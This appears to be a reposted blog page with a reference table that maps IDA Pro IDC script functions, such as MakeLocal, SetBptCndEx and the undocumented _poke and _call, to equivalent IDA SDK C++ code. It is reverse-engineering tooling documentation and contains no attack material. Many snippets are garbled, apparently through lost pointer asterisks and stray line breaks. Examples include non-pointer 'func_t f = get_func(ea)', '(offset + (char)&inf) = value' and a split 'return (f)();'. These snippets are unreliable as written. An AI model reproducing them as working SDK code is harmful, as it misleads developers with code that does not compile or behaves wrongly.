| `MakeFrame` |

func_t *f = get_func(ea);
set_frame_size(f, lvsize, frregs, argsize);
return f->frame;


|

| `MakeFunction` | `add_func(start, end);` |
| --- | --- |
| `MakeLocal` |

func_t f = get_func(ea);
if (
location != '[')
add_regvar(f, start, end, location, name, NULL);
else
struc_t *fr = get_frame(f);
int start = f->frsize + offset;
if (get_member(fr, start))
set_member_name(fr, start, name);
else
add_struc_member(fr, name, start, 0x400, 0, 1);


|

| `MakeNameEx` | `set_name(ea, name, flags);` |
| --- | --- |
| `MakeOword` | `//macro, see MakeData` |
| `MakePackReal` | `//macro, see MakeData` |
| `MakeQword` | `//macro, see MakeData` |
| `MakeRptCmt` | `set_cmt(ea, cmt, true);` |
| `MakeStr` |

int len = endea == −1 ? 0 : endea - ea;
make_ascii_string(ea, len, current_string_type);


|

| `MakeStructEx` |
| --- |

netnode n(strname);
nodeidx_t idx = (nodeidx_t)n;
if (size != −1)
do_data_ex(ea, FF_STRU, size, idx);
else
size_t sz = get_struc_size(get_struc(idx));
do_data_ex(ea, FF_STRU, sz, idx);


|

| `MakeTbyte` | `//macro, see MakeData` |
| --- | --- |
| `MakeUnkn` | `do_unknown(ea, flags);` |
| `MakeUnknown` | `do_unknown_range(ea, size, flags);` |
| `MakeVar` | `doVar(ea);` |
| `MakeWord` | `//macro, see MakeData` |
| `MarkPosition` |

curloc loc;
loc.ea = ea; loc.lnnum = lnnum; loc.x = x; loc.y = y;
loc.mark(slot, NULL, comment);


|

| `MaxEA` | `//macro, see GetLongPrm` |
| --- | --- |
| `Message` | `msg(format, ...);` |
| `MinEA` | `//macro, see GetLongPrm` |
| `MoveSegm` | `return move_segm(get_seg(ea), to, flags);` |
| `Name` | `return qstrdup(get_name(-1, ea, buf, sizeof(buf)));` |
| `NameEx` | `return qstrdup(get_name(from, ea, buf, sizeof(buf)));` |
| `NextAddr` | `return nextaddr(ea);` |
| `NextFchunk` | `return funcs->getn_area(funcs->get_next_area(ea))->startEA;` |
| `NextFuncFchunk` | `func_tail_iterator_t fti(get_func(funcea), tailea);``return fti.next() ? fti.chunk().startEA : −1;` |
| `NextFunction` | `return get_next_func(ea)->startEA;` |
| `NextHead` | `return next_head(ea, maxea);` |
| `NextNotTail` | `return next_not_tail(ea);` |
| `NextSeg` |

int n = segs.get_next_area(ea);
return getnseg (n)->startEA;


|

| `OpAlt` | `set_forced_operand(ea, n, str);` |
| --- | --- |
| `OpBinary` | `op_bin(ea, n);` |
| `OpChr` | `op_chr(ea, n);` |
| `OpDecimal` | `op_dec(ea, n);` |
| `OpEnumEx` | `op_enum(ea, n, enumid, serial);` |
| `OpFloat` | `op_flt(ea, n);` |
| `OpHex` | `op_hex(ea, n);` |
| `OpHigh` | `return op_offset(ea, n, REF_HIGH16, target);` |
| `OpNot` | `toggle_bnot(ea, n);` |
| `OpNumber` | `op_num(ea, n);` |
| `OpOctal` | `op_oct(ea, n);` |
| `OpOff` |

if (base != 0xFFFFFFFF) set_offset(ea, n, base);
else noType(ea, n);


|

| `OpOffEx` | `op_offset(ea, n, reftype, target, base, tdelta);` |
| --- | --- |
| `OpSeg` | `op_seg(ea, n);` |
| `OpSign` | `toggle_sign(ea, n);` |
| `OpStkvar` | `op_stkvar(ea, n);` |
| `OpStroffEx` | `op_stroff(ea, n, &strid, 1, delta);` |
| `ParseType` |

qstring in(input);
if (in.last() != ';') in += ';';
flags |= PT_TYP;
if (flags & PT_NDC) flags |= PT_SIL;
else flags &= ~PT_SIL;
flags &= ~PT_NDC;
qstring name, type, fields;
parse_decl(idati, in.c_str(), &name, &type, &fields, flags);
internal_build_idc_typeinfo(&result, &type, &fields);


|

| `ParseTypes` |
| --- |

int hti_flags = (flags & 0x70) << 8;
if (flags & 1) hti_flags |= HTI_FIL;
parse_types2(input, (flags & 2) ? NULL : printer_func,
hti_flags);


|

| `PatchByte` | `patch_byte(ea, value);` |
| --- | --- |
| `PatchDbgByte` |

if (qthread_same(idc_debthread))
dbg->write_memory(ea, &value, 1);
else
put_dbg_byte(ea, value);


|

| `PatchDword` | `patch_long(ea, value);` |
| --- | --- |
| `PatchWord` | `patch_word(ea, value);` |
| `PauseProcess` | `suspend_process();` |
| `PopXML` | `pop_xml();` |
| `PrevAddr` | `return prevaddr(ea);` |
| `PrevFchunk` | `return get_prev_fchunk(ea)->startEA;` |
| `PrevFunction` | `return get_prev_func(ea)->startEA;` |
| `PrevHead` | `return prev_head(ea, minea);` |
| `PrevNotTail` | `return prev_not_tail(ea);` |
| `ProcessUiAction` | `return process_ui_action(name, flags);` |
| `PushXML` | `push_xml(path);` |
| `Qword` | `return get_qword(ea);` |
| `RebaseProgram` | `return rebase_program(delta, flags);` |
| `RecalcSpd` | `return recalc_spd(cur_ea);` |
| `Refresh` | `refresh_idaview_anyway();` |
| `RefreshDebuggerMemory` |

invalidate_dbgmem_config();
invalidate_dbgmem_contents(BADADDR, −1);
if (dbg && dbg->stopped_at_debug_event)
dbg->stopped_at_debug_event(true);


|

| `RefreshLists` | `callui(ui_list);` |
| --- | --- |
| `RemoveFchunk` | `remove_func_tail(get_func(funcea), tailea);` |
| `RenameArray` |

qsnprintf(buf, sizeof(buf), "$ idc_array %s", name);
netnode n(id).rename(newname);


|

| `RenameEntryPoint` | `rename_entry(ordinal, name);` |
| --- | --- |
| `RenameSeg` | `set_segm_name(get_seg(ea), "%s", name);` |
| `ResumeThread` | `return resume_thread(tid);` |
| `Rfirst` | `return get_first_cref_from(From);` |
| `Rfirst0` | `return get_first_fcref_from(From);` |
| `RfirstB` | `return get_first_cref_to(To);` |
| `RfirstB0` | `return get_first_fcref_to(To);` |
| `Rnext` | `return get_next_cref_from(From, current);` |
| `Rnext0` | `return get_next_fcref_from(From, current);` |
| `RnextB` | `return get_next_cref_to(To, current);` |
| `RnextB0` | `return get_next_fcref_to(To, current);` |
| `RunPlugin` | `run_plugin(load_plugin(name), arg);` |
| `RunTo` | `run_to(ea);` |
| `SaveBase` |

char *fname = idbname ? idbname : database_idb;
uint32_t tflags = database_flags;
database_flags = (flags & 4) | (tflags & 0xfffffffb);
bool res = save_database(fname, 0);
database_flags = tflags;
return res;


|

| `ScreenEA` | `return get_screen_ea();` |
| --- | --- |
| `SegAddrng` | `//已弃用,请参阅 SetSegAddressing` |
| `SegAlign` | `//宏定义,请参阅 SetSegmentAttr` |
| `SegBounds` | `//已弃用,请参阅 SetSegBounds` |
| `SegByBase` | `return get_segm_by_sel(base)->startEA;` |
| `SegByName` |

sel_t seg;
atos(segname, *seg);
return seg;


|

| `SegClass` | `//已弃用,请参阅 SetSegClass` |
| --- | --- |
| `SegComb` | `//宏定义,请参阅 SetSegmentAttr` |
| `SegCreate` | `//已弃用,请参阅 AddSeg` |
| `SegDefReg` | `//已弃用,请参阅 SetSegDefReg` |
| `SegDelete` | `//已弃用,请参阅 DelSeg` |
| `SegEnd` | `//宏定义,请参阅 GetSegmentAttr` |
| `SegName` |

segment_t s = (segment_t) get_seg(ea);
get_true_segm_name(s, buf, sizeof(buf));
return qstrdup(buf);


|

| `SegRename` | `//已弃用,请参阅 RenameSeg` |
| --- | --- |
| `SegStart` | `//宏定义,请参阅 GetSegmentAttr` |
| `SelEnd` |

ea_t ea1, ea2;
read_selection(&ea1, &ea2);
return ea2;


|

| `SelStart` |
| --- |

ea_t ea1, ea2;
read_selection(&ea1, &ea2);
return ea1;


|

| `SelectThread` | `select_thread(tid);` |
| --- | --- |
| `SetArrayFormat` |

segment_t *s = get_seg(ea);
if (s)
uint32_t format[3];
netnode array(ea);
format[0] = flags;
format[1] = litems;
format[2] = align;
array.supset(5, format, sizeof(format));


|

| `SetArrayLong` | `netnode n(id).altset(idx, value);` |
| --- | --- |
| `SetArrayString` | `netnode n(id).supset(idx, str);` |
| `SetBmaskCmt` | `set_bmask_cmt(enum_id, bmask, cmt, repeatable);` |
| `SetBmaskName` | `set_bmask_name(enum_id, bmask, name);` |
| `SetBptAttr` |

bpt_t bpt;
if (get_bpt(ea, &bpt) == 0) return;
if (bpattr == BPTATTR_SIZE) bpt.size = value;
else if (bpattr == BPTATTR_TYPE) bpt.type = value;
else if (bpattr == BPTATTR_COUNT) bpt.pass_count = value;
else if (bpattr == BPTATTR_FLAGS) bpt.flags = value;
update_bpt(&bpt);


|

| `SetBptCnd` | `//宏定义,用于 SetBptCndEx(ea, cnd, 0);` |
| --- | --- |
| `SetBptCndEx` |

bpt_t bpt;
if (get_bpt(ea, &bpt) == 0) return;
bpt. cndbody = cnd;
if (is_lowcnd)
bpt.flags |= BPT_LOWCND;
else
bpt.flags &= ~ BPT_LOWCND;
update_bpt(&bpt);


|

| `SetCharPrm` |
| --- |

if (offset >= 13 && offset <= 191)
(offset + (char)&inf) = value;


|

| `SetColor` |
| --- |

if (what == CIC_ITEM)
set_item_color(ea, color);
else if (what == CIC_FUNC)
func_t *f = get_func(ea);
f->color = color;
update_func(f);
else if (what == CIC_SEGM)
segment_t *s = get_seg(ea);
s->color = color;
s->update();


|

| `SetConstCmt` | `set_const_cmt(const_id, cmt, repeatable);` |
| --- | --- |
| `SetConstName` | `set_const_name(const_id, name);` |
| `SetDebuggerOptions` | `return set_debugger_options(options);` |
| `SetEnumBf` | `set_enum_bf(enum_id, flag ? 1 : 0);` |
| `SetEnumCmt` | `set_enum_cmt(enum_id, cmt, repeatable);` |
| `SetEnumFlag` | `set_enum_flag(enum_id, flag);` |
| `SetEnumIdx` | `set_enum_idx(enum_id, idx);` |
| `SetEnumName` | `set_enum_name(enum_id, name);` |
| `SetEnumWidth` | `return set_enum_width(enum_id, width);` |
| `SetExceptionFlags` |

excvec_t ev = retrieve_exceptions();
for (excvec_t::iterator i = ev->begin(); i != ev->end(); i++)
if ((
i).code == code)
if ((i).flags == flags)
return true;
else
(
i).flags = flags;
return store_exceptions();
return 0;


|

| `SetFchunkAttr` |
| --- |

func_t *f = get_func(ea);
internal_set_attr(f, attr, value);
update_func(f);


|

| `SetFchunkOwner` | `set_tail_owner(get_func(tailea), funcea);` |
| --- | --- |
| `SetFixup` |

fixup_data_t f = {type, targetsel, targetoff, displ};
set_fixup(ea, &f);


|

| `SetFlags` | `setFlags(ea, flags);` |
| --- | --- |
| `SetFunctionAttr` |

func_t *f = get_func(ea);
internal_set_attr(f, attr, value);


|

| `SetFunctionCmt` | `set_func_cmt (get_func(ea), cmt, repeatable);` |
| --- | --- |
| `SetFunctionEnd` | `func_setend(ea, end);` |
| `SetFunctionFlags` | `//macro, see SetFunctionAttr` |
| `SetHashLong` | `netnode n(id).hashset(idx, value);` |
| `SetHashString` | `netnode n(id).hashset(idx, value);` |
| `SetHiddenArea` |

hidden_area_t *ha = get_hidden_area (ea);
ha->visible = visible;
update_hidden_area(ha);


|

| `SetInputFilePath` |
| --- |

if (strlen(path) == 0) RootNode.set("");
else RootNode.set(path);


|

| `SetLineNumber` | `set_source_linnum(ea, lnnum);` |
| --- | --- |
| `SetLocalType` |

if (input == NULL || *input == 0)
del_numbered_type(idati, ordinal);
else
qstring name;
qtype type, fields;
parse_decl(idati, input, &name, &type, &fields, flags);
if (ordinal == 0)
if (!name.empty())
get_named_type(idati, name.c_str(),
NTF_TYPE | NTF_NOBASE, NULL, NULL,
NULL, NULL, NULL, &ordinal);
if (!ordinal)
ordinal = alloc_type_ordinal(idati);
set_numbered_type(idati, value, 0, name.c_str(),
type.c_str(), fields.c_str(),
NULL, NULL, NULL);


|

| `SetLongPrm` |
| --- |

if (offset >= 13 && offset <= 188)
(int)(offset + (char*)&inf) = value;


|

| `SetManualInsn` | `set_manual_insn(ea, insn);` |
| --- | --- |
| `SetMemberComment` |

member_t *m = get_member(get_struc(ea), member_offset);
set_member_cmt(m, comment, repeatable);


|

| `SetMemberName` | `set_member_name(get_struc(ea), member_offset, name);` |
| --- | --- |
| `SetMemberType` |

typeinfo_t mt;
//calls an internal function to initialize mt using typeid
int size = get_data_elsize(-1, flag, &mt) * nitems;
set_member_type(get_struc(id), member_offset, flag, &mt,size);


|

| `SetProcessorType` | `set_processor_type(processor, level);` |
| --- | --- |
| `SetReg` | `//macro for SetRegEx(ea, reg, value, SR_user);` |
| `SetRegEx` | `splitSRarea1(ea, str2reg(reg), value, tag, false);` |
| `SetRegValue` |

regval_t r;
if (is_reg_integer(name))
r.ival = (unsigned int)VarLong(value);
else
memcpy(r.fval, VarFloat(value), 12);
set_reg_val(name, &r);


|

| `SetRemoteDebugger` | `set_remote_debugger(hostname, password, portnum);` |
| --- | --- |
| `SetSegAddressing` | `set_segm_addressing(get_seg(ea), use32);` |
| `SetSegBounds` |

if (get_seg(ea))
set_segm_end(ea, endea, flags);
set_segm_end(ea, startea, flags);


|

| `SetSegClass` | `set_segm_class(get_seg(ea), class);` |
| --- | --- |
| `SetSegDefReg` | `SetDefaultRegisterValue(get_seg(ea), str2reg(reg), value);` |
| `SetSegmentAttr` |

segment_t *s = get_seg(segea);
internal_set_attr(s, attr, value);
s->update();


|

| `SetSegmentType` | `//macro, see SetSegmentAttr` |
| --- | --- |
| `SetSelector` | `set_selector(sel, value);` |
| `SetShortPrm` |

if (offset >= 13 && offset <= 190)
(short)(offset + (char*)&inf) = value;


|

| `SetSpDiff` | `add_user_stkpnt(ea, delta);` |
| --- | --- |
| `SetStatus` | `setStat(status);` |
| `SetStrucComment` | `set_struc_cmt(id, cmt, repeatable);` |
| `SetStrucIdx` | `set_struc_idx(get_struc(id), index);` |
| `SetStrucName` | `set_struc_name(id, name);` |
| `SetTargetAssembler` | `set_target_assembler(asmidx);` |
| `SetType` |

apply_cdecl(ea, type)
if (get_aflags(ea) & AFL_TILCMT)
set_ti(ea, "", NULL);


|

| `SetXML` | `set_xml(path, name, value);` |
| --- | --- |
| `Sleep` | `qsleep(milliseconds);` |
| `StartDebugger` | `start_process(path, args, sdir);` |
| `StepInto` | `step_into();` |
| `StepOver` | `step_over();` |
| `StepUntilRet` | `step_until_ret();` |
| `StopDebugger` | `exit_process();` |
| `StringStp` | `//macro, see SetCharPrm` |
| `Tabs` | `//macro, see SetCharPrm` |
| `TakeMemorySnapshot` | `take_memory_snapshot(only_loader_segs);` |
| `TailDepth` | `//macro, see SetLongPrm` |
| `Til2Idb` | `return til2idb(idx, type_name);` |
| `Voids` | `//macro, see SetCharPrm` |
| `Wait` | `autoWait();` |
| `Warning` | `warning(format, ...);` |
| `Word` | `return get_full_word(ea);` |
| `XrefShow` | `//macro, see SetCharPrm` |
| `XrefType` | `Returns value of an internal global variable` |
| `____` |

//*** undocumented function (four underscores)
//returns database creation timestamp
return RootNode.altval(RIDX_ALT_CTIME);


|

| `_call` |
| --- |

//*** undocumented function
//uint32_t _call(uint32_t (f)())
//f is a pointer in IDA's (NOT the database's) address space
return (
f)();


|

| `_lpoke` |
| --- |

//*** undocumented function
//uint32_t _lpoke(uint32_t *addr, uint32_t val)
//addr is an address in IDA's (NOT the database's) address
//space. This modifies IDA’s address space NOT the database’s
uint32_t old = *addr;
*addr = val;
return old;


|

| `_peek` |
| --- |

//*** undocumented function
//uint8_t *_peek(uint8_t *addr)
//addr is in IDA's address space
return *addr;


|

| `_poke` |
| --- |

//*** undocumented function
//uint8_t _lpoke(uint8_t *addr, uint8_t val)
//addr is an address in IDA's (NOT the database's) address
//space. This modifies IDA's address space NOT the database's
uint8_t old = *addr;
*addr = val;
return old;


|

| `_time` |
| --- |

//*** undocumented function
return _time64(NULL);


|

| `add_dref` | `add_dref(From, To, drefType);` |
| --- | --- |
| `atoa` |

ea2str(ea, buf, sizeof(buf));
return qstrdup(buf);


|

| `atol` | `return atol(str);` |
| --- | --- |
| `byteValue` | `//macro` |
| `del_dref` | `del_dref(From, To);` |
| `delattr` | `VarDelAttr(self, attr);` |
| `fclose` | `qfclose(handle);` |
| `fgetc` | `return qfgetc(handle);` |
| `filelength` | `return efilelength(handle);` |
| `fopen` | `return qfopen(file, mode);` |
| `form` | `//deprecated, see sprintf` |
| `fprintf` | `qfprintf(handle, format, ...);` |
| `fputc` | `qfputc(byte, handle);` |
| `fseek` | `qfseek(handle, offset, origin);` |
| `ftell` | `return qftell(handle);` |
| `get_field_ea` | `Too complex to summarize` |
| `get_nsec_stamp` | `return get_nsec_stamp();` |
| `getattr` |

idc_value_t res;
VarGetAttr(self, attr, &res);
return res;


|

| `hasattr` | `return VarGetAttr(self, attr, NULL) == 0;` |
| --- | --- |
| `hasName` | `//macro` |
| `hasValue` | `//macro` |
| `isBin0` | `//macro` |
| `isBin1` | `//macro` |
| `isChar0` | `//macro` |
| `isChar1` | `//macro` |
| `isCode` | `//macro` |
| `isData` | `//macro` |
| `isDec0` | `//macro` |
| `isDec1` | `//macro` |
| `isDefArg0` | `//macro` |
| `isDefArg1` | `//macro` |
| `isEnum0` | `//macro` |
| `isEnum1` | `//macro` |
| `isExtra` | `//macro` |
| `isFlow` | `//macro` |
| `isFop0` | `//macro` |
| `isFop1` | `//macro` |
| `isHead` | `//macro` |
| `isHex0` | `//macro` |
| `isHex1` | `//macro` |
| `isLoaded` | `//macro` |
| `isOct0` | `//macro` |
| `isOct1` | `//macro` |
| `isOff0` | `//macro` |
| `isOff1` | `//macro` |
| `isRef` | `//macro` |
| `isSeg0` | `//macro` |
| `isSeg1` | `//macro` |
| `isStkvar0` | `//macro` |
| `isStkvar1` | `//macro` |
| `isStroff0` | `//macro` |
| `isStroff1` | `//macro` |
| `isTail` | `//macro` |
| `isUnknown` | `//macro` |
| `isVar` | `//macro` |
| `lastattr` | `return qstrdup(VarLastAttr(self));` |
| `loadfile` |

linput_t *li = make_linput(handle);
file2base(li, pos, ea, ea + size, false);
unmake_linput(li);


|

| `ltoa` | `Calls internal conversion routine` |
| --- | --- |
| `mkdir` | `return qmkdir(dirname, mode);` |
| `nextattr` | `return qstrdup(VarNextAttr(self, attr));` |
| `ord` | `return str[0];` |
| `prevattr` | `return qstrdup(VarPrevAttr(self, attr));` |
| `print` |

qstring qs;
VarPrint(&qs, arg);
msg("%s\n", qs.c_str());


|

| `readlong` |
| --- |

unsigned int res;
freadbytes(handle, &res, 4, mostfirst);
return res;


|

| `readshort` |
| --- |

unsigned short res;
freadbytes(handle, &res, 2, mostfirst);
return res;


|

| `readstr` |
| --- |

qfgets(buf, sizeof(buf), handle);
return qstrdup(buf);


|

| `rename` | `return rename(oldname, newname);` |
| --- | --- |
| `rotate_left` | `return rotate_left(value, count, nbits, offset);` |
| `savefile` | `base2file(handle, pos, ea, ea + size);` |
| `set_start_cs` | `//macro, see SetLongPrm` |
| `set_start_ip` | `//macro, see SetLongPrm` |
| `setattr` | `return VarSetAttr(self, attr, value) == 0;` |
| `sizeof` |

type_t *t = internal_type_from_idc_typeinfo(type);
return get_type_size(idati, t);


|

| `sprintf` |
| --- |

qstring buf;
buf.sprnt(format, ...);
return qstrdup(buf.c_str());


|

| `strfill` |
| --- |

qstring s;
s.resize(len + 1, &chr);
return new qstring(s);


|

| `strlen` | `return strlen(str);` |
| --- | --- |
| `strstr` | `return strstr(str, substr);` |
| `substr` | `Calls internal slice routine` |
| `trim` | `return new qstring(string.c_str());` |
| `unlink` | `return _unlink(filename);` |
| `writelong` | `fwritebytes(handle, &dword, 4, mostfirst);` |
| `writeshort` | `fwritebytes(handle, &word, 2, mostfirst);` |
| `writestr` | `qfputs(str, handle);` |
| `xtol` | `return strtoul(str, NULL, 16);` |
posted @ 2025-11-26 09:17  绝不原创的飞龙  阅读(0)  评论(0)    收藏  举报